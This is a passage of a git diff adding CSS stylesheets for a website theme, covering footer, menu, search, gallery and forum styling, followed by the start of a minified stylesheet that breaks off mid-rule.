5.55%; +} +.sidebar-footer .widget { + margin: 3em 0; +} +.sidebar-footer .widget:first-child { + margin-top: 1.5em; +} +.sidebar-footer .widget a:hover, .sidebar-footer .widget a:active, .sidebar-footer .widget a:focus { + color: #ededed; +} +.sidebar-footer .widget-title { + margin-bottom: 12px; +} + +.design-credit { + background: #111; + color: #8c8c8c; + padding: 0.75em 0; + margin-top: 48px; +} +.design-credit a { + color: #8c8c8c; +} +.design-credit a:link, .design-credit a:visited { + color: #8c8c8c; +} +.design-credit a:hover, .design-credit a:active, .design-credit a:focus { + color: #aaaaaa; +} +.design-credit p { + margin: 0; + opacity: 0.6; +} + +.return-top { + display: none; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .return-top { + display: block; + position: fixed; + bottom: -4em; + right: 0; + width: 5.55%; + height: 4em; + background: white; + border: none; + opacity: 0.8; + text-align: center; + line-height: 4em; + outline: none; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; + } + .return-top i { + position: relative; + top: 0; + -webkit-transition: top 0.3s ease; + transition: top 0.3s ease; + } + + .return-top.visible { + bottom: 0; + } + .return-top.visible:hover, .return-top.visible:active, .return-top.visible:focus { + opacity: 1; + cursor: pointer; + } + .return-top.visible:hover i, .return-top.visible:active i, .return-top.visible:focus i { + top: -6px; + } + + .sidebar-footer { + margin-bottom: -72px; + } + + .design-credit { + margin-top: 72px; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + .sidebar-footer { + margin-top: 3em; + } + .sidebar-footer:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; + } + + .sidebar-footer:not(.active-1) .widget { + width: 47%; + float: left; + margin-top: 1.5em; + } + .sidebar-footer:not(.active-1) .widget:nth-child(odd) { + margin-right: 3%; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .site-footer h1 { + font-size: 2.625em; + line-height: 1.143; + } +} +/* 1000px */ +@media all and (min-width: 62.5em) { + .sidebar-footer:not(.active-1):not(.active-2) .widget { + width: 31%; + margin-right: 0; + margin-top: 1.5em; + } + .sidebar-footer:not(.active-1):not(.active-2) .widget:nth-child(3n - 2), .sidebar-footer:not(.active-1):not(.active-2) .widget:nth-child(3n - 1) { + margin-right: 3%; + } + .sidebar-footer:not(.active-1):not(.active-2) .widget:nth-child(3n + 4) { + clear: left; + } +} +/* page */ +.singular-page .entry, +.error404 .entry, +.search .entry { + padding-top: 3em; +} + +.singular-page .featured-image { + margin-top: -3em; + margin-bottom: 3em; +} + +.error404 input, +.search input { + margin: 0.75em 0; +} +.error404 input[type="search"], +.search input[type="search"] { + margin-right: 0.75em; +} + +.search-form-container { + margin: 1.5em 0 3em; +} +.search-form-container .search-icon { + display: none; +} + +.archive-header { + padding: 1.5em 0; + text-transform: uppercase; + color: #8c8c8c; +} +.archive-header span { + letter-spacing: 0.08em; +} +.archive-header h1 { + letter-spacing: 0.06em; + font-weight: 700; + font-size: 1em; + line-height: 1.5; + display: inline-block; +} +.archive-header p { + margin: 0.75em 0; + text-transform: none; +} + +.archive .main { + padding-bottom: 0; +} + +.search .search-box { + padding: 1.5em; + margin-bottom: 1.5em; + background: white; + text-align: center; + clear: both; +} +.search .search-box .search-form-container { + margin-bottom: 1.5em; +} +.search .search-box.bottom { + margin-top: 1.5em; +} + +.page-template-full-width .entry { + width: 100%; + max-width: none; +} +.page-template-full-width .entry-container { + padding: 0 5%; + max-width: 1280px; + margin: 0 auto; +} + +/* 900px */ +@media all and (min-width: 56.25em) { + .search-form-container { + margin: 1.5em 0 4.5em; + } +} +/* Attachment styles */ +.singular-attachment .further-reading a { + font-weight: 700; + font-size: 1em; + line-height: 1.5; + color: #8c8c8c; +} +.singular-attachment .further-reading a:link, .singular-attachment .further-reading a:visited { + color: #8c8c8c; +} +.singular-attachment .further-reading a:hover, .singular-attachment .further-reading a:active, .singular-attachment .further-reading a:focus { + color: black; +} +.singular-attachment .further-reading p { + width: 49.5%; +} +.singular-attachment .attachment-container img { + display: block; +} + +/* Widget Area Styles */ +.sidebar-after-post-content, +.sidebar-after-page-content { + padding: 3em 0 0.75em; + border-top: solid 1px #ededed; + border-bottom: solid 1px #ededed; + margin-bottom: 1.5em; +} +.sidebar-after-post-content .widget, +.sidebar-after-page-content .widget { + margin-bottom: 2.25em; +} + +/* Widget Styles */ +.widget-title { + font-size: 1em; + line-height: 1.5; +} + +.widget ul { + margin: 1.5em 0; + list-style: none; +} +.widget li { + font-weight: 400; +} +.widget li a { + color: #8c8c8c; +} +.widget li a:link, .widget li a:visited { + color: #8c8c8c; +} +.widget li a:hover, .widget li a:active, .widget li a:focus { + color: black; +} + +.widget-search .search-form-container { + margin-bottom: 3em; +} + +.site-footer .widget_search .search-field { + max-width: none; +} +.site-footer .widget_search .search-submit { + background: #4d4d4d; + width: 100%; + max-width: none; + min-width: none; +} + +.widget_categories select { + margin-top: 1.5em; +} + +@media all and (min-width: 50em) { + .site-footer .widget_search .search-form { + display: -webkit-box; + display: flex; + } + .site-footer .widget_search .search-field, + .site-footer .widget_search .search-submit { + width: auto; + } + .site-footer .widget_search .search-field { + margin-right: 0; + -webkit-box-flex: 1; + flex-grow: 1; + } +} +/* Footer menu styles */ +.menu-footer-items { + list-style: none; + margin: 0.75em 0 1.5em; +} +.menu-footer-items li { + position: relative; + display: block; +} +.menu-footer-items a { + color: #8c8c8c; + opacity: 0.4; +} +.menu-footer-items a:link, .menu-footer-items a:visited { + color: #8c8c8c; +} +.menu-footer-items a:hover, .menu-footer-items a:active, .menu-footer-items a:focus { + color: #8c8c8c; + opacity: 0.9; +} +.menu-footer-items ul { + list-style: none; +} + +/* 700px */ +@media all and (min-width: 43.75em) { + .menu-footer-items li, + .menu-footer-items a { + display: inline-block; + } + .menu-footer-items a { + margin: 0 8px; + } + .menu-footer-items a:hover + ul, .menu-footer-items a:active + ul, .menu-footer-items a:focus + ul { + bottom: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-footer-items .sub-menu { + position: absolute; + background: #1A1A1A; + text-align: center; + margin: 0; + min-width: 100%; + max-width: 220px; + left: auto; + right: auto; + bottom: -9999px; + -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease; + transition: opacity 0.3s ease, transform 0.3s ease; + -webkit-transform: scale(0.95); + transform: scale(0.95); + } + .menu-footer-items .sub-menu:hover { + bottom: 24px; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-footer-items .sub-menu a { + display: block; + margin: 0; + padding: 0.75em 1.5em; + } + .menu-footer-items .sub-menu .sub-menu:hover { + bottom: 0; + left: 100%; + right: auto; + } + .menu-footer-items .sub-menu a:hover + ul, .menu-footer-items .sub-menu a:active + ul, .menu-footer-items .sub-menu a:focus + ul { + bottom: 0; + left: 100%; + right: auto; + } +} +/* top navigation styles */ +.top-navigation { + position: relative; + left: -6%; + width: 112%; + min-height: 3em; + background: #111; + padding: 0.375em 5.55%; + margin: -0.75em 0 0; + line-height: 0; +} +.top-navigation ~ button { + top: 2.25em; +} +.top-navigation .container { + margin: 0 auto; + max-width: 1280px; +} +.top-navigation .container:after { + content: "."; + display: block; + clear: both; + visibility: hidden; + line-height: 0; + height: 0; +} + +.rtl .top-navigation { + right: -6%; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .top-navigation { + margin-top: -0.75em; + left: -6.2%; + width: 112.4%; + z-index: 39; + } +} +/* 800px */ +@media all and (min-width: 50em) { + .top-navigation { + margin: -2.25em 0 1.5em 0; + } +} +/* secondary menu styles */ +.menu-secondary { + float: left; + z-index: 9; +} + +.toggle-secondary-navigation { + background: none; + border: none; + color: white; + opacity: 0.4; + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.714; + margin: 0; + padding: 0; + outline: none; + -webkit-transition: -webkit-transform 0.3s ease; + transition: transform 0.3s ease; +} +.toggle-secondary-navigation:hover { + cursor: pointer; +} + +.menu-secondary-items { + list-style: none; + position: absolute; + z-index: -1; + opacity: 0; + width: 100%; + left: 0; + padding: 1.5em; + margin: 0; + background: #111; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; +} +.menu-secondary-items a { + color: white; + opacity: 0.4; + margin-right: 0.75em; +} +.menu-secondary-items a:link, .menu-secondary-items a:visited { + color: white; +} +.menu-secondary-items a:hover, .menu-secondary-items a:active, .menu-secondary-items a:focus { + color: white; + opacity: 0.9; +} +.menu-secondary-items ul { + list-style: none; +} + +/* when secondary menu is open */ +#main, #title-info, #toggle-navigation, #site-header, #site-footer { + -webkit-transition: -webkit-transform 0.3s ease; + transition: transform 0.3s ease; +} + +.secondary-toggle .site-header { + background: transparent; +} +.secondary-toggle .toggle-secondary-navigation { + opacity: 0.9; + -webkit-transform: rotate(315deg); + transform: rotate(315deg); +} +.secondary-toggle .menu-secondary-items { + z-index: 1; + opacity: 1; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .menu-secondary-items { + position: relative; + z-index: 1; + opacity: 1; + padding: 0.5em 0; + } + .menu-secondary-items:before { + content: '//'; + margin-right: 16px; + color: white; + opacity: 0.4; + } + .menu-secondary-items li, + .menu-secondary-items a { + display: inline-block; + } + + .toggle-secondary-navigation { + display: none; + } + + .menu-secondary-items { + /* Tier 2 */ + /* Tier 3 */ + } + .menu-secondary-items li { + position: relative; + } + .menu-secondary-items ul { + position: absolute; + top: -9999px; + margin: 0 auto; + left: -70%; + right: -70%; + max-width: 200px; + opacity: 0; + background: #111; + text-align: center; + -webkit-transform: scale(0.95); + transform: scale(0.95); + -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease; + transition: opacity 0.3s ease, transform 0.3s ease; + } + .menu-secondary-items ul li, + .menu-secondary-items ul a { + display: block; + } + .menu-secondary-items ul a { + padding: 0 1.5em; + margin: 0.75em 0; + } + .menu-secondary-items ul li:first-child > a { + padding-top: 0.75em; + } + .menu-secondary-items ul li:last-child > a { + padding-bottom: 0.75em; + } + .menu-secondary-items ul:hover { + top: 1.5em; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-secondary-items a:hover + ul, .menu-secondary-items a:active + ul, .menu-secondary-items a:focus + ul { + top: 1.5em; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-secondary-items ul ul:hover { + left: 100%; + right: -100%; + top: -0.60975em; + } + .menu-secondary-items ul a:hover + ul, .menu-secondary-items ul a:active + ul, .menu-secondary-items ul a:focus + ul { + left: 100%; + right: -100%; + top: -0.60975em; + } +} +/* search form styles */ +.site-header .search-form-container { + position: absolute; + right: 5.55%; + left: 12.55%; + top: 0; + height: 100%; + margin: 0; +} +.site-header .search-form-container button { + -webkit-transform: translateZ(0); + transform: translateZ(0); + position: relative; + z-index: 9; + display: block; + left: 0; + height: 100%; + float: right; + border: none; + background: #111; + font-size: 1em; + padding: 0.75em; + margin: 0 -12px 0 0; + outline: none; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; +} +.site-header .search-form-container button:hover i, .site-header .search-form-container button:active i { + opacity: 1; +} +.site-header .search-form-container button:hover { + cursor: pointer; +} +.site-header .search-form-container i { + position: relative; + z-index: 9; + color: white; + opacity: 0.4; + line-height: 1.5; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.site-header .search-form-container input { + margin: 0; + height: 100%; + position: absolute; +} +.site-header .search-form-container .search-form { + -webkit-transform: translateZ(0); + transform: translateZ(0); + position: absolute; + top: 0; + z-index: 19; + left: 107%; + width: 90%; + height: 100%; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; +} +.site-header .search-form-container input.search-field { + width: 80%; + left: 0; + max-width: none !important; + outline: none !important; +} +.site-header .search-form-container input.search-submit { + width: 30%; + right: 0; + max-width: none !important; + min-width: 0 !important; + outline: none !important; +} +.site-header .search-form-container + ul { + margin-right: 3.75em; +} + +.search-open .site-header .search-form { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.search-open .site-header .search-form-container { + left: 5.55%; +} +.search-open .site-header .search-form-container button { + width: 24%; +} +.search-open .site-header .search-form-container i { + opacity: 1; +} + +.rtl .site-header .search-form-container input.search-field { + width: calc(100% - 120px) !important; + right: 120px; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .search-open .site-header .search-form-container button { + width: auto; + } + + .site-header .search-form-container .search-form { + width: 20em; + } + .site-header .search-form-container input.search-submit { + min-width: 120px !important; + } +} +/* social icon styling */ +.social-media-icons { + list-style: none; + margin: 0; + -webkit-transition: opacity 0.3s ease-in-out, -webkit-transform 0.2s ease-in-out; + transition: opacity 0.3s ease-in-out, transform 0.2s ease-in-out; +} +.social-media-icons li, +.social-media-icons a { + display: inline-block; +} +.social-media-icons a { + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.714; + margin: 0 0.375em; + color: white; + opacity: 0.4; + position: relative; + z-index: 9; +} +.social-media-icons a:link, .social-media-icons a:visited { + color: white; +} +.social-media-icons a:hover, .social-media-icons a:active, .social-media-icons a:focus { + color: white; + opacity: 1; +} + +.site-header .social-media-icons { + float: right; + height: 100%; +} + +.search-open .site-header .social-media-icons { + opacity: 0; + -webkit-transform: translateX(12px); + transform: translateX(12px); +} + +@media all and (min-width: 1500px) { + .top-navigation .social-media-icons { + margin-right: 0px !important; + } +} +/** + * 14.2 Galleries + */ +.gallery { + margin: 2.25em auto; +} + +.gallery-item { + display: inline-block; + padding: 0.75em; + text-align: center; + vertical-align: top; + width: 100%; + margin: 0; +} +.gallery-item img { + max-width: 100%; + max-height: 100%; +} + +.gallery-columns-2 .gallery-item { + max-width: 50%; +} + +.gallery-columns-3 .gallery-item { + max-width: 33.33%; +} + +.gallery-columns-4 .gallery-item { + max-width: 25%; +} + +.gallery-columns-5 .gallery-item { + max-width: 20%; +} + +.gallery-columns-6 .gallery-item { + max-width: 16.66%; +} + +.gallery-columns-7 .gallery-item { + max-width: 14.28%; +} + +.gallery-columns-8 .gallery-item { + max-width: 12.5%; +} + +.gallery-columns-9 .gallery-item { + max-width: 11.11%; +} + +.gallery-icon img { + margin: 0 auto; +} + +.gallery-caption { + color: #8c8c8c; + display: block; + font-family: "raleway", sans-serif; + font-size: 12px; + padding: 0.5em 0; +} + +.gallery-columns-6 .gallery-caption, +.gallery-columns-7 .gallery-caption, +.gallery-columns-8 .gallery-caption, +.gallery-columns-9 .gallery-caption { + display: none; +} + +/* Jetpack Galleries */ +.tiled-gallery { + margin: 2.25em auto !important; +} +.tiled-gallery .gallery-row { + margin: 0 auto; +} + +/* Styles for when user selects a dark header */ +.dark-header { + /* Secondary Nav */ + /* Search Icon */ +} +.dark-header .site-title a { + color: #222; +} +.dark-header .site-title a:link, .dark-header .site-title a:visited, .dark-header .site-title a:hover, .dark-header .site-title a:active, .dark-header .site-title a:focus { + color: #222; +} +.dark-header .toggle-navigation { + color: #222; +} +.dark-header .site-header .site-description { + color: #222; +} +.dark-header .site-header .social-media-icons a { + color: #222; +} +.dark-header .site-header .social-media-icons a:link, .dark-header .site-header .social-media-icons a:visited { + color: #222; +} +.dark-header .site-header .social-media-icons a:hover, .dark-header .site-header .social-media-icons a:active, .dark-header .site-header .social-media-icons a:focus { + color: #222; +} +.dark-header .toggle-secondary-navigation { + color: #222; +} +.dark-header .menu-secondary-items a, +.dark-header .menu-secondary-items a:link, +.dark-header .menu-secondary-items a:visited, +.dark-header .menu-secondary-items a:hover, +.dark-header .menu-secondary-items a:active, +.dark-header .menu-secondary-items a:focus { + color: #222; +} +.dark-header .site-header .search-form-container i { + color: #222; +} +.dark-header .site-header.toggled .site-title a { + color: white; +} +.dark-header .site-header.toggled .site-title a:link, .dark-header .site-header.toggled .site-title a:visited, .dark-header .site-header.toggled .site-title a:hover, .dark-header .site-header.toggled .site-title a:active, .dark-header .site-header.toggled .site-title a:focus { + color: white; +} +.dark-header .site-header.toggled .toggle-navigation { + color: white; +} +.dark-header .site-header.toggled .site-description { + color: white; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .dark-header .menu-secondary-items:before { + color: #222; + } + .dark-header .menu-secondary-items ul { + background: white; + } +} +/* 800px */ +@media all and (min-width: 50em) { + .dark-header .menu-unset > ul a, + .dark-header .menu-primary-items a { + color: #222; + } + .dark-header .menu-unset > ul a:link, .dark-header .menu-unset > ul a:visited, + .dark-header .menu-primary-items a:link, + .dark-header .menu-primary-items a:visited { + color: #222; + } + .dark-header .menu-unset > ul > li:after, + .dark-header .menu-primary-items > li:after { + color: #222; + } + .dark-header .menu-unset > ul ul, + .dark-header .menu-primary-items ul { + background: white; + } +} +/* background image styles */ +.background-image-active .background-image { + background-size: cover; + background-position: 50%; + position: fixed; + z-index: -1; + top: 0; + right: 0; + bottom: 0; + left: 0; +} +.background-image-active .site-header { + border-color: transparent; +} +.background-image-active .excerpt { + opacity: 1; +} +.background-image-active .site-header, +.background-image-active .site-header .search-form-container button, +.background-image-active .main, +.background-image-active .menu-secondary-items { + background: none; +} +.background-image-active .top-navigation { + background: rgba(255, 255, 255, 0.2); +} +.background-image-active .site-footer { + background: #222; +} + +/* background style textures */ +.background-texture-active .site-header, +.background-texture-active .site-header .search-form-container button, +.background-texture-active .main, +.background-texture-active .menu-secondary-items { + background: none; +} +.background-texture-active .site-header { + border-color: transparent; +} +.background-texture-active .site-footer { + background: #222; +} +.background-texture-active .top-navigation { + background: rgba(255, 255, 255, 0.2); +} +.background-texture-active .excerpt { + opacity: 1; +} + +/* Featured Video styles */ +.featured-video video { + width: 100%; +} + +.singular-page .featured-video { + margin: -3em 0 3em; +} + +.full-width-images.blog .excerpt.has-video, +.full-width-images.archive .excerpt.has-video, +.two-column-images.blog .excerpt.has-video, +.two-column-images.archive .excerpt.has-video { + background: none; +} +.full-width-images.blog .excerpt.has-video .overlay, +.full-width-images.blog .excerpt.has-video .overlay-link, +.full-width-images.blog .excerpt.has-video i, +.full-width-images.archive .excerpt.has-video .overlay, +.full-width-images.archive .excerpt.has-video .overlay-link, +.full-width-images.archive .excerpt.has-video i, +.two-column-images.blog .excerpt.has-video .overlay, +.two-column-images.blog .excerpt.has-video .overlay-link, +.two-column-images.blog .excerpt.has-video i, +.two-column-images.archive .excerpt.has-video .overlay, +.two-column-images.archive .excerpt.has-video .overlay-link, +.two-column-images.archive .excerpt.has-video i { + display: none; +} +.full-width-images.blog .excerpt.has-video .excerpt-container, +.full-width-images.archive .excerpt.has-video .excerpt-container, +.two-column-images.blog .excerpt.has-video .excerpt-container, +.two-column-images.archive .excerpt.has-video .excerpt-container { + position: relative; + opacity: 1; +} +.full-width-images.blog .excerpt.has-video .excerpt-header, .full-width-images.blog .excerpt.has-video .entry-header, +.full-width-images.archive .excerpt.has-video .excerpt-header, +.full-width-images.archive .excerpt.has-video .entry-header, +.two-column-images.blog .excerpt.has-video .excerpt-header, +.two-column-images.blog .excerpt.has-video .entry-header, +.two-column-images.archive .excerpt.has-video .excerpt-header, +.two-column-images.archive .excerpt.has-video .entry-header { + padding: 0.75em 1.5em 1.5em; +} +.full-width-images.blog .excerpt.has-video .excerpt-title, .full-width-images.blog .excerpt.has-video .entry-title, +.full-width-images.archive .excerpt.has-video .excerpt-title, +.full-width-images.archive .excerpt.has-video .entry-title, +.two-column-images.blog .excerpt.has-video .excerpt-title, +.two-column-images.blog .excerpt.has-video .entry-title, +.two-column-images.archive .excerpt.has-video .excerpt-title, +.two-column-images.archive .excerpt.has-video .entry-title { + font-size: 1em; + line-height: 1.5; +} +.full-width-images.blog .excerpt.has-video .excerpt-title a, .full-width-images.blog .excerpt.has-video .entry-title a, +.full-width-images.archive .excerpt.has-video .excerpt-title a, +.full-width-images.archive .excerpt.has-video .entry-title a, +.two-column-images.blog .excerpt.has-video .excerpt-title a, +.two-column-images.blog .excerpt.has-video .entry-title a, +.two-column-images.archive .excerpt.has-video .excerpt-title a, +.two-column-images.archive .excerpt.has-video .entry-title a { + color: white; + opacity: 0.8; +} +.full-width-images.blog .excerpt.has-video .excerpt-title a:link, .full-width-images.blog .excerpt.has-video .entry-title a:link, .full-width-images.blog .excerpt.has-video .excerpt-title a:visited, .full-width-images.blog .excerpt.has-video .entry-title a:visited, +.full-width-images.archive .excerpt.has-video .excerpt-title a:link, +.full-width-images.archive .excerpt.has-video .entry-title a:link, +.full-width-images.archive .excerpt.has-video .excerpt-title a:visited, +.full-width-images.archive .excerpt.has-video .entry-title a:visited, +.two-column-images.blog .excerpt.has-video .excerpt-title a:link, +.two-column-images.blog .excerpt.has-video .entry-title a:link, +.two-column-images.blog .excerpt.has-video .excerpt-title a:visited, +.two-column-images.blog .excerpt.has-video .entry-title a:visited, +.two-column-images.archive .excerpt.has-video .excerpt-title a:link, +.two-column-images.archive .excerpt.has-video .entry-title a:link, +.two-column-images.archive .excerpt.has-video .excerpt-title a:visited, +.two-column-images.archive .excerpt.has-video .entry-title a:visited { + color: white; +} +.full-width-images.blog .excerpt.has-video .excerpt-title a:hover, .full-width-images.blog .excerpt.has-video .entry-title a:hover, .full-width-images.blog .excerpt.has-video .excerpt-title a:active, .full-width-images.blog .excerpt.has-video .entry-title a:active, .full-width-images.blog .excerpt.has-video .excerpt-title a:focus, .full-width-images.blog .excerpt.has-video .entry-title a:focus, +.full-width-images.archive .excerpt.has-video .excerpt-title a:hover, +.full-width-images.archive .excerpt.has-video .entry-title a:hover, +.full-width-images.archive .excerpt.has-video .excerpt-title a:active, +.full-width-images.archive .excerpt.has-video .entry-title a:active, +.full-width-images.archive .excerpt.has-video .excerpt-title a:focus, +.full-width-images.archive .excerpt.has-video .entry-title a:focus, +.two-column-images.blog .excerpt.has-video .excerpt-title a:hover, +.two-column-images.blog .excerpt.has-video .entry-title a:hover, +.two-column-images.blog .excerpt.has-video .excerpt-title a:active, +.two-column-images.blog .excerpt.has-video .entry-title a:active, +.two-column-images.blog .excerpt.has-video .excerpt-title a:focus, +.two-column-images.blog .excerpt.has-video .entry-title a:focus, +.two-column-images.archive .excerpt.has-video .excerpt-title a:hover, +.two-column-images.archive .excerpt.has-video .entry-title a:hover, +.two-column-images.archive .excerpt.has-video .excerpt-title a:active, +.two-column-images.archive .excerpt.has-video .entry-title a:active, +.two-column-images.archive .excerpt.has-video .excerpt-title a:focus, +.two-column-images.archive .excerpt.has-video .entry-title a:focus { + color: white; + opacity: 1; +} + +@media all and (min-width: 56.25em) { + .excerpt .featured-video { + -webkit-transform: translateZ(0); + transform: translateZ(0); + /* fixes FF glitch where image focuses & unfocuses */ + width: 50%; + height: 100%; + padding-bottom: 0; + position: absolute; + right: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + } + .excerpt .featured-video div, + .excerpt .featured-video video { + position: relative; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + } + + .excerpt.even .featured-video { + right: 50%; + right: calc(50% - 1px); + } + + /* Premium Layouts */ + .full-width .excerpt .featured-video, + .full-width-images .excerpt .featured-video, + .two-column .excerpt .featured-video, + .two-column-images .excerpt .featured-video { + width: 100%; + height: auto; + position: relative; + right: 0; + } + .full-width .excerpt .featured-video div, + .full-width .excerpt .featured-video video, + .full-width-images .excerpt .featured-video div, + .full-width-images .excerpt .featured-video video, + .two-column .excerpt .featured-video div, + .two-column .excerpt .featured-video video, + .two-column-images .excerpt .featured-video div, + .two-column-images .excerpt .featured-video video { + position: relative; + top: 0; + -webkit-transform: none; + transform: none; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .ie9 .excerpt { + opacity: 1; + } + .ie9 .excerpt:hover { + opacity: 1; + } +} +/* Styles for Disqus Comment System */ +#disqus_thread { + background: white; + padding: 1.5em 5.55%; + max-width: 1280px; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + #disqus_thread { + width: 88.88%; + margin: 0 auto; + } +} +/* 700px */ +@media all and (min-width: 43.75em) { + #disqus_thread { + padding: 1.5em 10%; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + #disqus_thread { + padding: 1.5em 14.66%; + } +} +/* 1100px */ +@media all and (min-width: 68.75em) { + #disqus_thread { + padding: 1.5em 17.435% 3em; + } +} +/* 1200px */ +@media all and (min-width: 75em) { + #disqus_thread { + padding: 1.5em 19.75% 3em; + } +} +@media all and (min-width: 1400px) { + #disqus_thread { + padding: 1.5em 20px 3em; + } +} +/* bbpress Styles */ +.bbpress.archive .main { + width: 100%; + margin-bottom: 3em; +} + +.entry-bbpress { + padding-top: 3em; +} +.entry-bbpress .entry-container { + padding: 0 11.11%; +} + +#wp-bbp_topic_content-editor-container input, +#wp-bbp_reply_content-editor-container input { + width: auto; + padding: 6px 24px !important; +} +#wp-bbp_topic_content-editor-container textarea, +#wp-bbp_reply_content-editor-container textarea { + outline: solid 1px #222; + margin-top: 1.5em !important; +} + +#bbp_topic_tags { + max-width: 500px; + font-size: 13px; +} + +#bbp_topic_title { + max-width: none; +} + +.bbp-submit-wrapper button { + background: #222; + color: white; + max-width: 22.2em !important; + min-width: 11.1em; + padding: 0.8em; + min-height: 45px; + outline: none; + border: none; + font-family: "raleway", sans-serif; + font-size: 0.813em; + line-height: 1.85; + border-radius: 0; + -webkit-appearance: none; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} +.bbp-submit-wrapper button:hover, .bbp-submit-wrapper button:active, .bbp-submit-wrapper button:focus { + cursor: pointer; + background: black; +} + +@media all and (min-width: 62.5em) { + #bbp_topic_title { + width: 70%; + } +} +#bbpress-forums div.bbp-search-form { + margin: 1px 0 12px 0; +} + +@media all and (min-width: 43.75em) { + #bbpress-forums #bbp-search-form #bbp_search { + width: 500px !important; + } +} +/* + +ATTENTION: + +Please do not edit this. Your changes will be overwritten when you update Tracks. + +If you want to make CSS edits, use the "Custom CSS" section in the Customizer instead (Appearance > Customize). + +If you want more information about customizing Tracks with CSS, check out this guide: https://www.competethemes.com/help/custom-css-tracks/ + +*/ diff --git a/public/css/style.min.css b/public/css/style.min.css new file mode 100644 index 00000000..82e38894 --- /dev/null +++ b/public/css/style.min.css @@ -0,0 +1,5 @@ +/*!------------------------------------------------------------------ +[MAIN STYLESHEET] +PROJECT: Project Name +VERSION: Versoin Number +-------------------------------------------------------------------*/@import "https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700|Playfair+Display:400,700";@font-face{font-family:hanskendrick;src:url(../fonts/hanskendrick-regular-webfont.woff) format("woff");font-style:normal;font-display:swap}body{line-height:1.5;font-family:open sans,sans-serif;-webkit-font-smoothing:antialiased;font-size:15px;color:#585757}p,.paragraph{font-weight:400;font-size:15px;line-height:1.5;font-family:open sans,sans-serif}h1,h2,h3,h4,h5,h6{color:#000;font-family:hanskendrick;font-weight:600;line-height:1.2}h1,.h1{font-size:80px}@media(max-width:767px){h1,.h1{font-size:55px}}h2,.h2{font-size:50px}@media(max-width:767px){h2,.h2{font-size:45px}}h3,.h3{font-size:40px}h4,.h4{font-size:30px}h5,.h5{font-size:20px}h6,.h6{font-size:16px}.btn{font-size:15px;font-family:open sans,sans-serif;text-transform:capitalize;padding:8px 20px;border-radius:0;font-weight:600;border:1px solid;position:relative;z-index:1;transition:.2s ease}.btn:focus{outline:0;box-shadow:none!important}.btn:active{box-shadow:none}.btn-primary{background:#ff6f00;color:#fff;border:0}.btn-primary:active{background:#ff6f00!important}.btn-primary:hover{background:#ff8c33}.btn-outline-light{background:transparent;color:#fff}.btn-outline-light:active{background:#fff!important;color:#000;border-color:#fff}.btn-outline-light:hover{background:#fff!important;color:#000;border-color:#fff}.btn-transparent{color:#ff6f00;border:0}body{background-color:#fff;overflow-x:hidden}::-moz-selection{background:#ff8c33;color:#fff}::selection{background:#ff8c33;color:#fff}.preloader{position:fixed;top:0;left:0;right:0;bottom:0;background-color:#fff;z-index:999;display:flex;align-items:center;justify-content:center}.preloader .loader{position:absolute;top:50%;left:50%;width:142px;height:40px;margin:-20px 0 0 -71px;background:#fff}.preloader .loader .dot{position:absolute;width:16px;height:16px;top:12px;left:15px;background:#ff6f00;border-radius:50%;-webkit-transform:translateX(0);transform:translateX(0);-webkit-animation:dot 2.8s infinite;animation:dot 2.8s infinite}.preloader .loader .dots{-webkit-transform:translateX(0);transform:translateX(0);margin-top:12px;margin-left:31px;-webkit-animation:dots 2.8s infinite;animation:dots 2.8s infinite}.preloader .loader .dots span{display:block;float:left;width:16px;height:16px;margin-left:16px;background:#ff6f00;border-radius:50%}@-webkit-keyframes dot{50%{-webkit-transform:translateX(96px);transform:translateX(96px)}}@keyframes dot{50%{-webkit-transform:translateX(96px);transform:translateX(96px)}}@-webkit-keyframes dots{50%{-webkit-transform:translateX(-31px);transform:translateX(-31px)}}@keyframes dots{50%{-webkit-transform:translateX(-31px);transform:translateX(-31px)}}ol,ul{list-style-type:none;margin:0}img{vertical-align:middle;border:0}a,a:hover,a:focus{text-decoration:none}a,button,select{cursor:pointer;transition:.2s ease}a:focus,button:focus,select:focus{outline:0}a:hover{color:#ff6f00}a.text-dark:hover{color:#ff6f00!important}.slick-slide{outline:0}.section{padding-top:90px;padding-bottom:90px}.section-sm{padding-top:80px;padding-bottom:80px}.section-title{margin-bottom:30px}.bg-cover{background-size:cover;background-position:50%;background-repeat:no-repeat}.bg-fixed{background-attachment:fixed;background-size:cover;background-position:50% 